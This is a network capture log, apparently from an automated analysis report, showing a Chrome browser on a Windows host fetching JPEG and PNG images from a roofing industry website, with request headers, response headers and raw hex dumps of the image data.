2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 8e 72 a7 49 28 95 63 95 65 fd 2e 3f 6e de 1b aa 48 ed ae d9 6a 9c f4 42 7d 2b 79 6f cf 59 d7 85 9c 88 6a 8e e6 4a ad 5a 95 f5 39 9e bf 9d cf 1b b4 f8 fa 2a 2c a1 33 db 08 74 9c 98 69 cd ec c6 8d b8 63 26 ca 73 5d 95 f6 da a5 b3 9b a6 88 8e bc fa e4 c9 55 ca b4 e3 d5 55 52 f3 da 5f 75 79 f3 6d dd 9e b8 d1 4d 33 4b d4 9e 6c e9 af 3e 96 67 9d 3d 23 b6 15 55 89 48 9b a5 46 8a d4 0d 79 59 50 96 ac b4 b5 e5 99 d6 ef 78 fe ec d7 45 16 b5 53 9b 2b 94 81 11 d0 72 f7 53 d6 6b 0c ef af 36 32 8d 06 5d 5c cd 16 68 84 69 3d 16 ae 1a b9 d9 47 6f 8f 9e b1 ae da 33 af 2f eb 7c c7 73 b7 1f 55 3f 2f e8 26 0e 67 a0 e3 af 13 47 03 9f ad 7a d8 f9 17 1e b3 0f 05 cb a7 4f 3f 7f 33 8d 51 c1 96 67 66 37 66 96 ae 9c 4e 56 55 2b 2d d4 a6 c7 9a dd 56 e0 76 f4 2d e5 f4 2c ec 52 68 d6 Data Ascii: rI(ce.?nHjB}+yoYjJZ9*,3tic&s]UUR_uymM3Kl>g=#UHFyYPxES+rSk62]\hi=Go3/\|sU?/&gGzO?3Qgf7fNVU+-Vv-,Rh
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 6f 3f 31 8d 4b 04 13 49 87 3c b0 40 0e 50 90 41 b0 4d 80 d0 02 06 00 c4 00 dc 26 00 25 43 84 87 15 66 88 d7 7e e6 1d 6e 3b 5b 5d 72 a7 1b 6f 97 34 de 58 d4 d1 59 b1 e8 ab 3a 84 a5 71 0e 9e 4d 36 14 ca 92 d5 99 96 55 73 28 d1 6c 94 92 21 a5 9c b2 b9 d4 5d a3 36 81 c2 4a 5c b6 45 63 a5 04 ea de 2f db 8b 55 96 38 91 c1 cd ab 36 70 af 8c e2 2e 16 16 74 70 f5 f8 ea a9 c2 ee 55 15 5d 8b 9f 0d c7 79 95 b8 f4 83 a8 45 38 4a 88 44 b2 53 a7 a1 2d bb 2b bb cf ba ea 8c ab 35 3a f0 74 97 c8 07 90 8e e3 4c b1 6a cb 64 46 50 89 6c 11 51 52 8d 11 ef 7a db 7c a7 a8 ab 86 bd ce 25 6e a3 38 c2 c9 42 b0 54 db 49 9d a7 65 93 ae cb 3d 07 53 c8 7a be 5b b6 c9 47 3a b2 59 24 6a b3 16 a2 59 34 44 a1 6b 0a 2e cb 9e cd fc 9d 76 59 c7 3b 35 57 32 56 64 8b 8a 59 79 42 2f 85 61 28 36 Data Ascii: o?1KI<@PAM&%Cf~n;[]ro4XY:qM6Us(l!]6J\Ec/U86p.tpU]yE8JDS-+5:tLjdFPlQRz\|%n8BTIe=Sz[G:Y$jY4Dk.vY;5W2VdYyB/a(6
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 44 72 40 bb 74 b8 b7 68 7c b4 cc f7 e2 dd 9d cc cf b6 55 e5 96 bd 18 3a 27 66 dc 9a 97 d8 ac c1 2c b6 2a a6 57 90 76 b3 06 ea da db 55 50 4c 77 db a3 73 16 ea 36 65 5e 1b ab 1d 2e ad c5 2a de 95 3b ab b2 cb 2b 9e 57 3a de 2d 97 67 d5 9b 9b 49 18 b3 23 be 9a 8d 92 d1 31 d6 7c ba e9 dc e7 cb 6d 7d 33 96 ee 87 30 b7 3b 95 93 e8 f2 88 dd 0c d7 4b a2 99 43 34 c7 b3 36 e5 53 b2 ad 2c ad 6b 31 1a ed 39 ed a0 27 69 9d 4e 20 09 1d 95 e9 d2 11 22 0c 07 28 94 c6 e1 d2 9c 13 82 2c 44 c5 b0 a2 a1 4c a1 0a 63 09 cf a5 8b c6 3a ae 39 52 d7 03 3c e9 be ac d9 1d 3c ee 6d 58 ad cd b6 aa ae 89 a6 14 ca 2b 4a 1e b3 52 a8 ce a8 cb 45 f4 fa 73 61 19 d4 37 53 7d 66 ea f3 34 4b 45 3d 3e 7a 3d 34 d9 52 49 59 28 80 34 a1 88 01 00 22 18 8a 64 4b 18 e0 46 44 09 20 18 35 8b b6 84 66 Data Ascii: Dr@th\|U:'f,WvUPLws6e^.;+W:-gI#1\|m}30;KC46S,k19'iN "(,DLc:9R<<mX+JREsa7S}f4KE=>z=4RIY(4"dKFD 5f
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: d7 d2 51 97 40 8b 29 95 b9 b6 64 be 34 ea d1 41 4d ad 59 43 d1 4e 90 d1 0a cf 4b 09 4b c5 d2 bb ab 8e cd b7 0a 2c cd aa 52 5a 36 4a 2b 53 8e 90 b6 a9 f7 cb 22 70 d4 ab 95 71 75 94 90 a3 39 d9 09 45 d4 1b 09 11 86 6d aa 28 73 84 6c b5 d2 cb 4a e4 a0 28 1b 50 49 2a 84 ae 89 19 32 41 a8 44 ec a1 e9 7d 99 2a ed 3a 34 61 9f 68 a9 df a3 73 87 2e cd 5d 73 c9 af a5 8f 70 25 b0 c4 fd 06 e9 7c f5 ba 78 b2 df 8b 35 b6 45 5a e2 36 c6 a5 b9 e1 d8 36 9d 91 aa d8 cb c9 61 02 b2 e3 35 9a ad b3 35 b6 46 c7 1a ea ab eb 83 87 09 da 53 64 e4 b0 73 04 0a c6 24 49 51 32 6a 2e a8 c9 bf 0e 04 dd 91 55 90 b2 ab b2 16 19 3a 3c dd f5 62 0d 4d 9e 8b c8 6b ce bd 6e ef 19 76 2f ad c7 c2 d2 5d 83 a9 b2 cf 21 4f be 8e a7 cf e3 ec 39 9a 9c 18 f4 71 55 5a 77 62 96 7b f8 b3 cd f4 db 7c a5 Data Ascii: Q@)d4AMYCNKK,RZ6J+S"pqu9Em(slJ(PI2AD}:4ahs.]sp%\|x5EZ66a55FSds$IQ2j.U:<bMknv/]!O9qUZwb{\|
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 52 48 93 83 24 92 26 45 82 6e 11 20 44 82 29 80 c0 09 46 57 19 6b 8a 5e 6f 2f 67 47 94 4b 70 41 a8 9b ac 92 12 27 2e 5e 6f 57 cf 7a 8f 2f 2e 4e 87 3f a0 9d 6b f3 df b3 64 a2 15 dd 9b c3 aa fa 58 6f f3 ea b1 67 8b e0 a1 51 b1 9b 3a 5e 7d 4d 1d b9 75 fd 92 c7 47 91 b7 a1 e5 ae ea ea 72 6e ef f5 0c 7b 6c 05 74 64 48 44 36 92 cb 3d ee ce 76 7e cb b3 cd e6 f5 ae cf 18 7a ec 9a 9e 70 ee 65 d6 79 a5 f4 d8 98 50 c6 91 e9 6b ea 73 d8 0b 9f 46 04 21 aa 00 07 16 31 03 13 89 35 74 af 92 bc fd 8e 44 ba 64 e5 3c 39 d0 9c 71 b7 09 45 23 ac d1 d7 92 a8 cd d3 2f 9c 3e 54 df 83 a7 cf 5a ae e6 cf 2b 63 d9 c3 ea c5 56 51 96 5f 4d cf 52 e5 55 74 59 db 33 6c d4 1a 51 27 4c a5 b0 8c ec 09 84 1b 75 12 68 8b 00 68 b1 80 a0 08 00 09 84 40 96 7a 22 c9 66 9e 4c eb 3e 66 66 df 97 45 Data Ascii: RH$&En D)FWk^o/gGKpA'.^oWz/.N?kdXogQ:^}MuGrn{ltdHD6=v~zpeyPksF!15tDd<9qE#/>TZ+cVQ_MRUtY3lQ'Luhh@z"fL>ffE
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 79 ce 76 c8 75 ee 3c f5 d3 b9 33 d3 7e 53 4d 76 57 64 7a bc 9e 8d bd cb 22 f4 25 5d 84 47 12 8f 3b e9 3c ee 2c 21 05 25 81 12 ea e7 1a 25 1b 4a 2c 76 1a fb 7e 73 d1 6a 38 8a db 44 02 92 84 a4 88 09 82 00 85 81 e4 2c af 5e 59 ed a2 f2 8d 59 74 c5 1d 5e 57 4e ba 56 d5 66 ca 0d 59 9f cf 7a 4f 35 9b 21 bc a3 7d 36 a5 1d 5e 5f 46 ba 56 55 67 48 9d 6c 8c 21 cf 4b 1c ee b1 01 a8 00 08 60 d5 91 28 c5 09 b2 86 9c 36 b5 29 38 d7 06 2b b3 cb 39 d7 25 ba dc ed 37 4b 9a 56 f8 e6 91 6c 5d e5 0e f8 59 5b 94 44 20 b3 56 1a 97 a9 bf c9 43 9e be 83 77 86 d6 be bd f9 cd 39 bd c3 95 44 bd 6d de 21 d9 d4 e4 0f 44 d6 64 8f 2c 5c f6 21 4a 22 26 bb 2b 3a 63 45 98 96 b3 d0 8d 7a 2c aa 37 4a cc ae f8 d9 5b 9c 2c 6d 48 1a 16 4e 32 07 53 2c 09 09 b1 13 01 d9 0f 4b 9d 59 39 2e 5d 78 Data Ascii: yvu<3~SMvWdz"%]G;<,!%%J,v~sj8D,^YYt^WNVfYzO5!}6^_FVUgHl!K`(6)8+9%7KVl]Y[D VCw9Dm!Dd,\!J"&+:cEz,7J[,mHN2S,KY9.]x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49840	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:52 UTC	692	OUT	GET /wp-content/uploads/2020/03/podcast-4209770-1024x751.jpg HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:52 UTC	518	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:52 GMT Content-Type: image/jpeg Content-Length: 27765 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 14:41:08 GMT ETag: "1e21e54-6c75-5d9f25233e900" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:52 UTC	7674	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 12 12 12 12 13 12 14 16 16 14 1c 1e 1b 1e 1c 29 26 22 22 26 29 3e 2c 30 2c 30 2c 3e 5e 3b 45 3b 3b 45 3b 5e 53 65 52 4d 52 65 53 96 76 68 68 76 96 ad 91 8a 91 ad d2 bc bc d2 ff fb ff ff ff ff 01 12 12 12 12 13 12 14 16 16 14 1c 1e 1b 1e 1c 29 26 22 22 26 29 3e 2c 30 2c 30 2c 3e 5e 3b 45 3b 3b 45 3b 5e 53 65 52 4d 52 65 53 96 76 68 68 76 96 ad 91 8a 91 ad d2 bc bc d2 ff fb ff ff ff ff ff c2 00 11 08 02 ef 04 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 33 00 01 00 02 03 01 01 00 00 00 00 00 00 00 00 00 00 00 04 05 02 03 06 01 07 01 01 00 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: JFIF)&""&)>,0,0,>^;E;;E;^SeRMReSvhhv)&""&)>,0,0,>^;E;;E;^SeRMReSvhhv"3
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: 74 79 20 81 d6 e1 98 f3 65 00 03 6f 46 45 5d 85 7b cb 38 16 3c 95 8a 25 55 07 03 2c 77 50 96 c6 7b ab 9b a8 96 55 90 43 2b c8 ad 82 a0 91 8a b0 b5 13 d8 5c a2 4f 1a cb 23 a8 08 e7 19 0b 5e 09 7f 15 ad 9f 83 24 a0 be f5 90 a7 7b 14 75 29 16 fe 74 16 d0 3a c1 1b 00 59 3c ac 46 b5 12 e9 f2 d8 ce d2 31 b6 49 67 5d 9c 5f 05 05 0b 7d da 8c 22 09 84 91 8b 76 44 da 70 c0 aa 55 9d cc b1 0b 68 ae 6d c4 d3 cf 36 ff 00 ad e2 02 74 0a b7 4b 6b 98 d6 e5 31 19 5b 86 78 e3 72 32 e5 52 b4 44 98 c6 f2 4b 23 31 74 8f 8f bc 64 fe 2e bc 7b 78 a5 2e e8 27 61 72 e7 28 d8 28 b8 e9 06 a2 9a 78 ef 65 8d 55 36 4b 24 db 40 4e 9c 44 b8 07 35 62 ba 82 4b 04 3b e6 60 6d 5c b8 f6 29 60 76 d0 b2 9e 0f 00 dd 13 e4 37 3b 2f b9 77 54 50 bd d4 5a 84 a8 bb d9 e5 0b 18 ef 1d c4 d1 0e f3 e9 b6 Data Ascii: ty eoFE]{8<%U,wP{UC+\O#^${u)t:Y<F1Ig]_}"vDpUhm6tKk1[xr2RDK#1td.{x.'ar((xeU6K$@ND5bK;`m\)`v7;/wTPZ
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: a3 de 2b 43 f4 7f cc 6b 5a f5 78 fb b5 01 22 da 1e d3 48 7f 67 9f bf 4f c6 d2 ac b8 cb f1 2a 4f 59 9b e1 52 b1 09 18 f7 8f 95 0b 9d d1 3c 7d 48 6a 3f 49 fc ff 00 d6 af fd 4d ff 00 9a b4 ef 5e 87 f4 ab 4e 1a 8d 5f 12 25 b7 3e e1 4d 72 cb 6c 18 1a 13 73 b0 06 07 8c 75 27 d9 b3 77 87 ce be 8e fa c4 df 0e b5 06 dd 7c de e8 aa 6f b5 05 69 0d f5 6e 3a 9c d5 bc 99 18 3e ca 92 e1 52 45 4a d5 2f ca 42 85 38 17 f9 1a 66 dd 25 9f c3 fe b5 f7 9f b1 3e 54 a4 8b 5b af 89 57 e4 ee d3 ea d4 96 37 04 ff 00 1f f4 a9 64 65 be 88 e7 84 83 15 a9 39 f0 f6 6a ba f3 9b b0 55 bf a9 cb 56 5e b2 9f 0e a0 99 e3 be 70 a7 a1 a9 19 56 f9 59 8e 00 9f 24 d3 6a 76 ec 71 1b ad 4b 72 91 c1 24 79 dc 5d b3 91 50 dc ef 7b 30 8c 78 aa b0 a9 ee 1c 1b c4 58 b9 c3 b0 e1 3d 8d 46 e2 e7 c2 5e 44 ce Data Ascii: +CkZx"HgO*OYR<}Hj?IM^N_%>Mrlsu'w\|oin:>REJ/B8f%>T[W7de9jUV^pVY$jvqKr$y]P{0xX=F^D
2024-04-23 14:53:53 UTC	3707	IN	Data Raw: ae 26 9e f5 f8 ca d8 4e e8 a8 23 d8 83 3c 4f e2 e7 40 e3 06 af ec a6 86 5f 0a b7 1f 59 f7 d3 d8 e2 a0 b8 8e e5 37 a1 ed 53 c4 1e 48 ae 1e 13 91 c3 aa a2 ba 8a 60 06 70 7a b9 25 95 21 42 ee 40 14 b6 77 d7 08 d7 a4 09 01 2c 48 cf 95 56 a9 e1 e4 ac 71 93 b7 8e e3 8a d3 a3 78 6f e4 63 b9 39 93 b4 fb e9 59 5d 43 29 c8 3e 24 92 6d 18 1c 4f 0a d5 2e 0d dc e2 c6 26 f2 41 cc cd 56 16 c0 2a b6 30 8a 30 a3 f1 83 20 71 82 2a f7 4c 75 90 cf 6c db 24 ff 00 67 a8 ae c3 37 35 32 f3 52 ff 00 09 a3 59 a8 af a6 8f 00 9d cb ef ad 76 f1 26 d3 8a 05 21 b7 ad 59 ea 73 41 a5 ef fe 06 d9 56 ba e4 90 39 2f 04 4c 09 f6 28 14 f7 71 dd 45 14 91 a6 d0 e3 35 66 54 c0 9d 20 e3 95 e5 0b d0 bd 26 b5 3d 45 a3 26 08 0e e9 df 89 f6 25 69 3a 66 13 73 70 27 25 bd ae 68 00 00 03 f1 95 cd 85 bd Data Ascii: &N#<O@_Y7SH`pz%!B@w,HVqxoc9Y]C)>$mO.&AV00 qLul$g752RYv&!YsAV9/L(qE5fT &=E&%i:fsp'%h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49841	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:52 UTC	913	OUT	GET /wp-content/uploads/2022/10/ig.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:52 UTC	514	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:52 GMT Content-Type: image/png Content-Length: 406 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 24 Oct 2022 20:01:46 GMT ETag: "1e22204-196-5ebcd42da9e80" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:52 UTC	406	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 03 00 00 00 bb 20 48 5f 00 00 00 21 50 4c 54 45 ee ee ee e7 e7 e7 d9 d9 d9 e2 e2 e3 ea ea ea f0 f0 f0 f7 f7 f7 f7 f7 f7 f8 f8 f8 fc fc fc ff ff ff fd 3a 07 29 00 00 00 0a 74 52 4e 53 00 0d 2b 40 5b 7c a8 c3 d3 e3 b0 b3 3d 51 00 00 01 1a 49 44 41 54 78 da 9d 94 eb b6 84 20 08 85 51 90 8b ef ff c0 67 45 56 8a d6 b8 0e ff 66 fa 22 d9 7b 23 80 17 b1 da b2 94 09 9e 22 ad 1f a5 37 5a ea 8f 2a 9b 5c 23 b1 6e 14 02 80 7d 01 42 24 7e ce 1f 0d f5 f8 a4 9c 2d 3f 4f e8 f3 d2 79 4a 89 0f 4d 98 c5 ba 21 bc 95 40 90 90 31 1d 0f 13 b2 bf 94 01 92 2d 40 c9 8f 0b d9 bf c5 ed 68 23 c8 30 14 f7 2d 7a d0 b9 44 2c c2 94 02 d9 83 e6 23 b6 31 cc 07 b6 25 98 47 3b 8f 89 f3 0a 94 68 27 5e 62 07 90 a2 9d 76 Data Ascii: PNGIHDR(( H_!PLTE:)tRNS+@[\|=QIDATx QgEVf"{#"7Z*\#n}B$~-?OyJM!@1-@h#0-zD,#1%G;h'^bv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49842	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:52 UTC	926	OUT	GET /wp-content/uploads/2017/04/135083026.png?id=57 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:52 UTC	519	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:52 GMT Content-Type: image/png Content-Length: 109011 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 16:33:08 GMT ETag: "1be1bec-1a9d3-5d9f3e2bef900" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:52 UTC	7673	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 f4 00 00 02 ee 08 03 00 00 00 6f ad 14 d8 00 00 01 d7 50 4c 54 45 47 70 4c fe fe fe f8 f7 f6 e9 e1 db de d6 d3 ee eb e9 a2 95 8f d6 c0 b8 e3 d3 d0 9b 83 78 c3 b3 b0 d5 b9 a4 de c7 bd 78 00 24 70 00 20 e2 cd c2 8b 02 2f e6 c2 b9 ad 89 5c d7 bd ad e9 dc d9 4c 3d 3c 6a 00 1e dc c4 b5 d1 af 9c 82 02 29 94 02 32 e2 cf c8 2c 1a 22 b7 92 84 4f 0c 25 c5 a7 9c 9c 02 35 63 01 1c a5 03 3a 91 6e 44 ae 86 77 59 3e 5a db c0 ae 86 43 63 ea d6 d0 6a 49 43 7a 34 4f ff e5 58 c8 15 4e 40 26 2c ea cf ca d1 b4 ab 0f 08 0d 60 18 33 3f 16 28 dd af a7 ff d4 07 9d 52 74 ff e2 4b 19 15 1b 76 90 bd 75 5c 55 d5 af c0 85 64 3b 63 26 41 b4 8f 60 76 50 76 c6 9a 8e 18 23 3c 7a 5e 3a bd 98 69 38 31 47 a6 80 51 b6 05 44 66 33 4f 78 Data Ascii: PNGIHDRoPLTEGpLxx$p /\L=<j)2,"O%5c:nDwY>ZCcjICz4OXN@&,`3?(RtKvu\Ud;c&A`vPv#<z^:i81GQDf3Ox
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: f3 0b 30 dd 5c 67 57 4c b7 d8 c2 4e 18 66 4f 6a 26 e5 59 f6 78 96 53 90 ed 14 04 dc 23 b0 13 77 1b 3d 39 ab 2e ed 80 3c c2 42 0a 6b 29 01 48 37 f5 7b 80 78 07 d4 57 4f 82 ee 0a 72 b8 73 11 07 a0 1e e8 1f 08 88 c6 07 9e 8d bc e5 ca e1 e2 8b 4d 45 6b 35 c2 72 c0 3e a7 65 7e 2d 06 d9 3f c1 9d 5b 55 3e fc 95 42 04 f2 5e 4f 4f 0e 98 37 a4 68 97 19 55 8b 7d c6 ea e7 48 84 bf 9f 48 85 2c ea 20 33 13 b5 2a 15 88 7b cc 37 5a 80 6f c0 31 a0 f9 e5 fd a4 30 1f 81 01 42 8b 4f fc 91 49 05 3b 5e 09 f4 40 0f 20 2b c7 3f 3b c0 7d 14 c0 3c 47 9e 6f 16 f3 b9 a0 24 86 ad ec f3 08 87 9b 0c d4 3f 41 e2 77 a8 eb 16 bc 74 df 35 d0 9d 66 e0 1c 89 4c 27 2e 46 a8 d8 9a 64 b7 c0 2d ab f3 80 eb 26 3a ef e0 b9 0d 3e 1e e2 b4 50 5d 44 11 bd d9 a1 e5 d5 f9 26 fa 1d a0 af 06 dc 81 7a 86 Data Ascii: 0\gWLNfOj&YxS#w=9.<Bk)H7{xWOrsMEk5r>e~-?[U>B^OO7hU}HH, 3*{7Zo10BOI;^@ +?;}<Go$?Awt5fL'.Fd-&:>P]D&z
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: cd e4 94 8d fd 98 62 32 73 fd 80 1a 62 40 f7 ab 59 78 ae dd bd e6 4e fd 3d c5 9e ca c4 fe 88 1e ad 05 e0 b9 37 63 9e d5 dc e2 7f 59 a8 dd 24 d3 ed f6 f2 e5 22 f8 65 11 44 7f 28 16 bd 88 8b 1d 30 14 eb 31 96 4b 6d 29 d5 eb 43 51 38 e9 82 ba b5 b5 c1 c2 98 4d 6e d9 36 85 90 88 e1 e0 9a b9 25 72 31 f1 12 0b 86 38 96 98 61 4b 15 a4 3d e5 76 ab 1b 7a 30 ba 7e 41 d3 76 36 43 c2 83 0b 0c a0 3b 1a a0 fb 1d 89 27 de 1f 53 f8 da 0a a6 eb 5b a9 6d 8b f9 eb 5d 1d ef 88 39 27 18 d1 85 87 4c d0 0e 23 54 df 4a d4 ef 9b 42 40 b8 91 d9 d8 50 ab 85 98 03 01 17 17 76 82 61 6e ee ea 8f a8 99 15 7f 4b 22 a3 48 ce 6b d2 d5 95 7b 18 69 cb a8 ce 38 71 dd c1 72 47 20 d0 2c eb 0a d8 18 d9 eb de f6 e3 a0 fb d4 4b db 4f 8c 5f 60 d2 1f be bb b7 ff 21 30 5f cb c7 38 6a c7 96 1e 63 e4 Data Ascii: b2sb@YxN=7cY$"eD(01Km)CQ8Mn6%r18aK=vz0~Av6C;'S[m]9'L#TJB@PvanK"Hk{i8qrG ,KO_`!0_8jc
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: ca be ed cf e6 ba 16 62 61 53 54 43 3c a8 43 ae 09 bb ee c6 a9 df b8 b4 71 09 5e cf 49 c4 e5 ef e5 df ec 2e 72 c4 f6 09 f6 d2 5f ee be f6 36 72 b4 ea 28 b2 8f 8f a3 e8 8a b0 fd 8f d6 2f bd ad c6 16 e7 b9 7f ff f9 a5 a1 fb f8 f5 87 28 c4 3d fe f4 d2 73 11 e7 1e c5 75 e6 60 7b 96 9f 4c 3c f1 5f ed 9e f7 17 9c 16 b5 b7 4b dc 27 ad 1d 5d 3c 38 49 c7 47 4b 90 33 5e 3b 7d e3 d2 a5 27 2f 87 f7 60 5b e0 a9 53 c7 b1 cb 62 74 08 78 9f e8 38 41 87 b1 a3 ed c4 23 fc 78 2f 9e 3d 77 90 ab 62 3b ee 7e b3 ef cb 22 0a 39 78 a2 c8 f3 7c 6c 01 cd 4f 6e b7 e6 b1 4b 5c be 3f 47 4b ae 91 dc a5 21 1e d4 50 96 97 cb 55 e2 3c 5f 41 d9 47 63 63 d7 8c 2d 2a bb e5 92 f9 3c fe 66 96 69 90 b8 4f f8 a7 e6 9f 75 5f cb 66 14 da 24 fa 78 d9 c0 cb 97 58 85 fb 23 c9 fc f6 1d d1 a8 2d 6e 8b Data Ascii: baSTC<Cq^I.r_6r(/(=su`{L<_K']<8IGK3^;}'/`[Sbtx8A#x/=wb;~"9x\|lOnK\?GK!PU<_AGcc-*<fiOu_f$xX#-n
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: 52 86 ee eb a0 11 d3 c1 f2 78 f4 cc 1a 78 0e 99 8c f0 a2 fd d9 93 60 30 f8 cc 8d 72 cd d3 07 cf 44 60 27 d8 93 5b 1f 7f 9e ba 2a 40 3f bb 76 a9 30 73 76 7a 3a da 18 68 98 00 fa a7 e8 e4 5c ef 04 62 9a 4b 80 0e f8 2e 00 aa 25 d7 89 e1 3f 0c 06 2c a0 ea e6 ee 17 80 00 07 74 0d fe 87 31 97 c0 93 e6 54 67 39 4b 86 de e8 d0 6c cc 56 ae 8a 12 f1 5e 5c 74 c1 49 91 8a 9e f4 b2 07 b9 a2 46 2e 40 98 27 9a 70 ee 53 fe 1a f7 59 a8 e6 7e 7b 84 d7 33 51 22 17 88 22 e6 1f d0 00 1d 7e a4 cf a9 0a bf 8e c2 4d a4 50 df 69 11 53 d2 39 73 b2 76 ff 2d 8b 47 b0 12 c9 db 77 0c 9c e7 dc 74 62 bc 1c 61 1d b8 f3 50 68 4f 60 d6 09 73 2f 0f 79 a4 51 0e 2f 03 f0 39 31 ae fe cd 37 1c d0 59 32 fe 0d 4d b3 3d 67 d0 9f 62 42 7b e3 99 f2 b2 32 78 52 59 5d 7c 04 33 0f 82 e4 1d c5 40 27 50 Data Ascii: Rxx`0rD`'[*@?v0svz:h\bK.%?,t1Tg9KlV^\tIF.@'pSY~{3Q""~MPiS9sv-GwtbaPhO`s/yQ/917Y2M=gbB{2xRY]\|3@'P
